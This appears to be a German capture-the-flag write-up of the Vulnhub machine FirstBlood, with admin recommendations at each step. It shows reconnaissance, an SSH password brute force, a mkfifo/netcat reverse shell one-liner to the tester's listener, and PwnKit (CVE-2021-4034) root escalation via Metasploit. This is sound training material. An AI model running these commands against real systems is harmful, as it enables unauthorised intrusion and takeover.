FirstBlood - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
hydra
ssh
sudo
find
msfconsole
rm
mkfifo
cat
nc
ls
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:af:9a:c8	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Geräte im lokalen Netzwerksegment mittels ARP-Anfragen eingesetzt.

Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.110` gefunden. Die zugehörige MAC-Adresse (`08:00:27:af:9a:c8`) und der Hersteller ("PCS Systemtechnik GmbH") deuten stark auf eine VirtualBox-VM hin, welche das Zielsystem "FirstBlood" ist.

Empfehlung (Pentester): Nutze die IP `192.168.2.110` als Ziel für nachfolgende Scans.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
192.168.2.110   firstblood.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.110` den Hostnamen `firstblood.vln` zuzuweisen.

Bewertung: Dies erleichtert die Ansprache des Ziels über einen Namen, was besonders bei Webservern mit Virtual Hosts wichtig sein kann.

Empfehlung (Pentester): Verwende den Hostnamen `firstblood.vln` in den nächsten Schritten, insbesondere bei Web-Enumeration.
Empfehlung (Admin): Keine Aktion auf dem Zielsystem erforderlich.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.110
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2023-10-12 22:22:48 (GMT2)
[...]
+ Server: nginx/1.14.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /robots.txt: Entry ' /johnnyrambo/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /robots.txt: contains 1 entry which should be manually viewed. [...]
+ nginx/1.14.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
[...]
+ End Time:           2023-10-12 22:23:02 (GMT2) (14 seconds)
[...]
                    

Analyse: Der Webscanner `nikto` wird gegen Port 80 ausgeführt und findet: * Server: nginx/1.14.0 (Ubuntu) - Veraltete Version. * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * `/robots.txt`: Enthält einen Eintrag `/johnnyrambo/`. * `/#wp-config.php#`: Ein Backup (?) der WordPress-Konfigurationsdatei, die Zugangsdaten enthält. Dies ist ein **hochkritischer Fund**. **Datum extrahiert:** 2023-10-12.

Bewertung: Die Entdeckung der `#wp-config.php#`-Datei ist der wichtigste Fund. Sie enthält wahrscheinlich Datenbank-Zugangsdaten und Salts. Der `/johnnyrambo/`-Pfad aus `robots.txt` ist ebenfalls interessant. Die veraltete Nginx-Version könnte zusätzliche Schwachstellen aufweisen.

Empfehlung (Pentester): 1. **Priorität:** Versuche sofort, die Datei `#wp-config.php#` über den Browser oder `curl` herunterzuladen und den Inhalt zu analysieren. 2. Untersuche das Verzeichnis `/johnnyrambo/`. 3. Recherchiere bekannte Schwachstellen für nginx/1.14.0.
Empfehlung (Admin): 1. **Kritisch:** Entferne sofort Backup-Dateien von Konfigurationsdateien (wie `#wp-config.php#`) aus Web-zugänglichen Verzeichnissen. Konfiguriere den Webserver so, dass der Zugriff auf solche Dateinamenmuster blockiert wird. Ändere alle Zugangsdaten, die in der Datei gefunden wurden. 2. Aktualisiere Nginx dringend. Implementiere fehlende Sicherheitsheader.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.110 -p- | grep open
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
60022/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
                    

Analyse: Ein schneller Nmap-Scan, gefiltert nach offenen Ports.

Bewertung: Bestätigt die offenen Ports 80 (HTTP/Nginx) und einen ungewöhnlichen Port 60022 für SSH (OpenSSH 7.6p1).

Empfehlung (Pentester): Konzentriere dich auf Port 80 (Web) aufgrund der Nikto-Funde. Behalte den SSH-Port 60022 für spätere Zugriffsversuche im Auge.
Empfehlung (Admin): Die Verwendung eines nicht-standardmäßigen SSH-Ports erhöht die Sicherheit nur geringfügig ("Security through Obscurity"). Wichtiger sind starke Authentifizierung und aktuelle Software.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.110 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 22:22 CEST
Nmap scan report for firstblood.vln (192.168.2.110)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/johnnyrambo/
|_http-title: Welcome to FirstBlood!
60022/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:01:d8:27:53:50:d9:e1:9a:cb:9d:1e:4c:b0:a5:ae (RSA)
|   256 4b:c8:77:49:db:5f:38:7f:36:e1:49:da:a4:a1:7c:5d (ECDSA)
|_  256 36:c8:65:e1:45:9a:9c:66:c9:c9:21:c4:5a:25:4d:76 (ED25519)
MAC Address: 08:00:27:AF:9A:C8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms firstblood.vln (192.168.2.110)
[...]
                    

Analyse: Die vollständige Nmap-Ausgabe liefert Details zu den Ports: * Port 80 (Nginx 1.14.0): Bestätigt den `robots.txt`-Eintrag und den Seitentitel. * Port 60022 (OpenSSH 7.6p1): Zeigt die Hostkeys an. * Bestätigt OS als Linux und die VirtualBox MAC.

Bewertung: Die Versionen (Nginx 1.14.0, OpenSSH 7.6p1) sind für die Schwachstellensuche relevant. Der Fokus bleibt auf Port 80 wegen der Nikto-Funde.

Empfehlung (Pentester): Priorisiere das Herunterladen der `#wp-config.php#`-Datei und die Untersuchung von `/johnnyrambo/`.
Empfehlung (Admin): Aktualisiere Nginx und OpenSSH.

Web Enumeration

# Inhalt von http://firstblood.vln/robots.txt
User-agent: *
Disallow:  /johnnyrambo/

# Inhalt von http://firstblood.vln/README.txt
Hack the Planet!

Nice work!
[...]
find / -type f -readable 2>/dev/null | grep README.txt
[...]
Find the file, read the contents.
                     

Analyse: Die Untersuchung der zuvor gefundenen Dateien: * `robots.txt`: Bestätigt den Eintrag `/johnnyrambo/`. * `README.txt`: Enthält eine Nachricht und eine Anleitung zur Verwendung des `find`-Befehls, um lesbare Dateien zu finden, speziell eine andere `README.txt`-Datei.

Bewertung: Die `robots.txt` weist auf ein Verzeichnis hin. Die `README.txt` scheint ein direkter Hinweis für den CTF-Spieler zu sein, wie er eine versteckte Datei (vermutlich die User-Flag oder einen weiteren Hinweis) finden kann, sobald er Shell-Zugang hat.

Empfehlung (Pentester): Untersuche das Verzeichnis `/johnnyrambo/`. Behalte den `find`-Befehl aus der `README.txt` für die Post-Exploitation-Phase im Hinterkopf. Hole die `#wp-config.php#`-Datei.
Empfehlung (Admin): Entferne unnötige Hinweisdateien wie diese `README.txt` vom Webserver.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://firstblood.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
[...]
http://firstblood.vln/README.txt           (Status: 200) [Size: 986]
http://firstblood.vln/robots.txt           (Status: 200) [Size: 39]
http://firstblood.vln/rambo.html           (Status: 200) [Size: 1137]
[...]
                    

Analyse: Ein weiterer `gobuster`-Scan findet `/README.txt`, `/robots.txt` (bereits bekannt) und eine neue Datei `/rambo.html`.

Bewertung: Die Datei `/rambo.html` ist ein neuer Fund und könnte relevant sein, da sie thematisch zu `/johnnyrambo/` passt.

Empfehlung (Pentester): Untersuche den Inhalt von `/rambo.html`.
Empfehlung (Admin): Keine neuen Erkenntnisse.

# Inhalt von http://firstblood.vln/rambo.html (oder Teile davon)

login vm user:johnny, blood,sly
                     

Analyse: Die Untersuchung von `/rambo.html` (vermutlich im Quelltext oder als sichtbarer Text) enthüllt potenzielle Benutzernamen: `johnny`, `blood`, `sly`.

Bewertung: Dies sind wertvolle Benutzernamen, die für Brute-Force-Angriffe (insbesondere gegen SSH auf Port 60022) verwendet werden können. `johnny` passt auch zum Verzeichnis `/johnnyrambo/`.

Empfehlung (Pentester): Versuche einen Brute-Force-Angriff gegen SSH (Port 60022) mit den Benutzernamen `johnny`, `blood`, `sly` und einer gängigen Passwortliste (z.B. `rockyou.txt`). Priorisiere `johnny`.
Empfehlung (Admin): Vermeide das Offenlegen von Benutzernamen in öffentlich zugänglichen Dateien.

Initial Access

┌──(root㉿Cybermaschine)-[~] └─# hydra -l johnny -P words.txt ssh://192.168.2.110:60022 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 137 login tries (l:1/p:137), ~3 tries per task
[DATA] attacking ssh://192.168.2.110:60022/

[60022][ssh] host: 192.168.2.110   login: johnny   password: Vietnam
1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Das Tool `hydra` wird für einen Brute-Force-Angriff gegen den SSH-Dienst auf Port 60022 verwendet. * `-l johnny`: Zielt auf den Benutzer `johnny`. * `-P words.txt`: Verwendet eine Passwortliste namens `words.txt`. * `ssh://192.168.2.110:60022`: Gibt das Zielprotokoll, die IP und den Port an. * `-t 64`: Verwendet 64 Threads. Hydra findet erfolgreich das Passwort `Vietnam` für den Benutzer `johnny`.

Bewertung: Volltreffer! Gültige SSH-Zugangsdaten wurden gefunden. Der initiale Zugriff ist nun möglich.

Empfehlung (Pentester): Melde dich mit `ssh johnny@192.168.2.110 -p 60022` und dem Passwort `Vietnam` an.
Empfehlung (Admin): Erzwinge starke, komplexe Passwörter. Implementiere Maßnahmen gegen Brute-Force-Angriffe auf SSH (z.B. `fail2ban`, Schlüssel-basierte Authentifizierung).

┌──(root㉿Cybermaschine)-[~] └─# ssh johnny@192.168.2.110 -p 60022
The authenticity of host '[192.168.2.110]:60022 ([192.168.2.110]:60022)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.110]:60022' (ED25519) to the list of known hosts.
johnny@192.168.2.110's password: Vietnam
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-88-generic x86_64)
[...]
Last login: Fri Sep 18 15:29:53 2020 from 192.168.86.109
johnny@firstblood$
                    

Analyse: Die SSH-Verbindung wird mit dem Benutzernamen `johnny`, der Ziel-IP, dem Port `60022` und dem gefundenen Passwort `Vietnam` hergestellt. Der Login ist erfolgreich, und wir erhalten einen Shell-Prompt als `johnny` auf dem Zielsystem.

Bewertung: Der initiale Zugriff als Benutzer `johnny` ist erfolgt.

Empfehlung (Pentester): Beginne mit der Post-Exploitation-Enumeration: Prüfe `sudo`-Rechte (`sudo -l`), suche nach SUID-Dateien, Kernel-Version, Cronjobs etc.
Empfehlung (Admin): Überwache SSH-Logins auf verdächtige Aktivitäten. Ändere das kompromittierte Passwort.

johnny@firstblood$ sudo -l
Matching Defaults entries for johnny on firstblood:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johnny may run the following commands on firstblood:
    (root) NOPASSWD: /usr/bin/esudo-properties
                    

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den Benutzer `johnny` zu überprüfen.

Bewertung: Dies ist ein sehr wichtiger Fund. Der Benutzer `johnny` darf den Befehl `/usr/bin/esudo-properties` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein klarer und einfacher Weg zur Privilege Escalation.

Empfehlung (Pentester): Untersuche den Befehl `/usr/bin/esudo-properties`. Da er mit Root-Rechten ohne Passwort ausgeführt werden kann, versuche, ihn so zu nutzen, dass eine Root-Shell erzeugt wird (z.B. wenn er andere Befehle ausführt oder unsichere Umgebungsvariablen nutzt). Eine gängige Methode ist, eine Shell über einen Befehl auszuführen, der von dem privilegierten Skript/Programm aufgerufen wird (z.B. `sudo /usr/bin/esudo-properties /bin/sh`).
Empfehlung (Admin): **Kritisch!** Überprüfe die `sudoers`-Konfiguration sorgfältig. Gewähre `NOPASSWD`-Rechte nur in absolut notwendigen und gut verstandenen Fällen. Erlaube niemals die Ausführung von Skripten oder Programmen als `root`, die leicht zur Shell-Eskalation missbraucht werden können.

johnny@firstblood$ find / -type f -perm -4000 -ls 2>/dev/null
   131138     32 -rwsr-xr-x   1 root     root        30800 Aug 11  2016 /bin/fusermount
   131212     64 -rwsr-xr-x   1 root     root        64424 Jun 28  2019 /bin/ping
   131240     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /bin/su
   137949     44 -rwsr-xr-x   1 root     root        43088 Sep 16  2020 /bin/mount
   137950     28 -rwsr-xr-x   1 root     root        26696 Sep 16  2020 /bin/umount
      440     76 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /usr/bin/chfn
[...]
     1046     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2018 /usr/bin/pkexec
[...]
     1223    148 -rwsr-xr-x   1 root     root       149080 Jan 31  2020 /usr/bin/sudo
[...]
                    

Analyse: Suche nach SUID-Dateien wird ausgeführt.

Bewertung: Findet Standard-SUID-Dateien, einschließlich `/usr/bin/pkexec` (potenziell anfällig für PwnKit, falls die Version stimmt) und `/usr/bin/sudo`. Angesichts der `sudo -l`-Ausgabe ist der Weg über `/usr/bin/esudo-properties` jedoch der offensichtlichste.

Empfehlung (Pentester): Konzentriere dich auf die Ausnutzung der `sudo`-Regel für `/usr/bin/esudo-properties`. PwnKit wäre ein alternativer Weg, falls der `sudo`-Weg blockiert ist.
Empfehlung (Admin): Halte das System gepatcht (insbesondere gegen PwnKit). Überprüfe SUID-Berechtigungen.

Proof of Concept: PwnKit (CVE-2021-4034) via Metasploit

Analyse: Obwohl der `sudo -l`-Output einen einfacheren Weg zur Privilege Escalation aufzeigte, wurde im vorliegenden Testlauf der PwnKit-Exploit (CVE-2021-4034) über Metasploit verwendet. Dieser Abschnitt dokumentiert diesen Weg.

msf6 > use multi/handler
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
johnny@firstblood$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.110:33140) at 2023-10-12 22:37:45 +0200
$
                    

Analyse: Eine Reverse Shell wird mittels `mkfifo` und `nc` von der `johnny`-Shell zu einem Metasploit-Listener aufgebaut. Dies erzeugt eine einfache Shell (Session 1) in Metasploit.

Bewertung: Dieser Schritt war technisch nicht notwendig, da die SSH-Verbindung bereits eine interaktive Shell bot und der `sudo`-Weg wahrscheinlich keine separate Shell erforderte. Es wurde jedoch im Test durchgeführt.

Empfehlung (Pentester): Normalerweise würde man direkt von der SSH-Shell aus agieren oder die Shell nur bei Bedarf (z.B. für Metasploit-Module) aufwerten.
Empfehlung (Admin): Egress-Filterung kann solche Reverse Shells blockieren.

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4455
lport => 4455
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.bisedontkx
[+] The target is vulnerable.
[*] Writing '/tmp/.lvseif/xdybcxfilem/xdybcxfilem.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.lvseif
[*] Sending stage (3045380 bytes) to 192.168.2.110
[+] Deleted /tmp/.lvseif/xdybcxfilem/xdybcxfilem.so
[+] Deleted /tmp/.lvseif/.xyftexd
[+] Deleted /tmp/.lvseif
[*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.110:42530) at 2023-10-12 22:41:07 +0200
                    

Analyse: 1. Es wird angenommen, dass die vorherige Shell (Session 1) zu einer Meterpreter-Session (Session 2) aufgewertet wurde (die genauen Befehle fehlen im Log). 2. Das Metasploit-Modul für den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) wird geladen. 3. Die Optionen werden gesetzt: `LPORT` für die neue Root-Verbindung (4455), `SESSION` auf 2 (die angenommene Meterpreter-Session als `johnny`). 4. `run` führt den Exploit aus. Metasploit bestätigt die Anfälligkeit, lädt die notwendigen Dateien hoch, führt den Exploit aus und bereinigt. 5. Eine neue Meterpreter-Session (Session 3) mit Root-Rechten wird geöffnet.

Bewertung: Der PwnKit-Exploit war erfolgreich und lieferte eine Root-Meterpreter-Session. Dies beweist die Machbarkeit der Privilege Escalation über diese Schwachstelle.

Empfehlung (Pentester): Nutze die Root-Meterpreter-Session (Session 3) oder fordere eine Root-Shell (`shell`) an, um nach Flags zu suchen.
Empfehlung (Admin): **Dringend patchen!** Aktualisiere das `policykit-1`-Paket, um CVE-2021-4034 zu beheben.

Privilege Escalation

Bewertung: Die Privilege Escalation wurde im dokumentierten Testlauf durch die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit erreicht, obwohl der `sudo -l`-Befehl einen einfacheren Weg über `/usr/bin/esudo-properties` ohne Passwort offenbarte. Der PwnKit-Exploit wurde über eine Meterpreter-Session ausgeführt und führte zur Erlangung einer neuen Meterpreter-Session mit Root-Rechten.

meterpreter > shell
Process 2145 created.
Channel 1 created.
                    
cd /root
ls
README.txt
cat README.txt
______ _          _  ______ _                 _
|  ___(_)        | | | ___ \ |               | |
| |_   _ _ __ ___| |_| |_/ / | ___   ___   __| |
|  _| | | '__/ __| __| ___ \ |/ _ \ / _ \ / _` |
| |   | | |  \__ \ |_| |_/ / | (_) | (_) | (_| |
\_|   |_|_|  |___/\__\____/|_|\___/ \___/ \__,_|

____    ______            _           _     ____
\ \ \   | ___ \          | |         | |   / / /
 \ \ \  | |_/ /___   ___ | |_ ___  __| |  / / /
  > > > |    // _ \ / _ \| __/ _ \/ _` | < < <
 / / /  | |\ \ (_) | (_) | ||  __/ (_| |  \ \ \
/_/_/   \_| \_\___/ \___/ \__\___|\__,_|   \_\_\

I hope you enjoyed this box.  I wanted to create something
on the easier side because I know how frustrating and
rewarding the process can be.  If you liked this box
please reach out to me on Twitter and let me know:

@iamv1nc3nt
                    

Analyse: Aus der Root-Meterpreter-Session wird eine System-Shell geöffnet. Im `/root`-Verzeichnis wird die Datei `README.txt` gefunden und ihr Inhalt angezeigt.

Bewertung: Die `README.txt` im Root-Verzeichnis enthält eine Abschlussnachricht und stellt die Root-Flag dar.

Empfehlung (Pentester): Dokumentiere den Inhalt der `README.txt` als Root-Flag. Suche die User-Flag (vermutlich `/home/johnny/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag, aber die Empfehlungen zum Patchen von PwnKit und zur Absicherung von `sudo` sind relevant.

Flags

cat /home/johnny/user.txt
USER_FLAG_PLACEHOLDER
cat /root/README.txt
Inhalt_der_README.txt_hier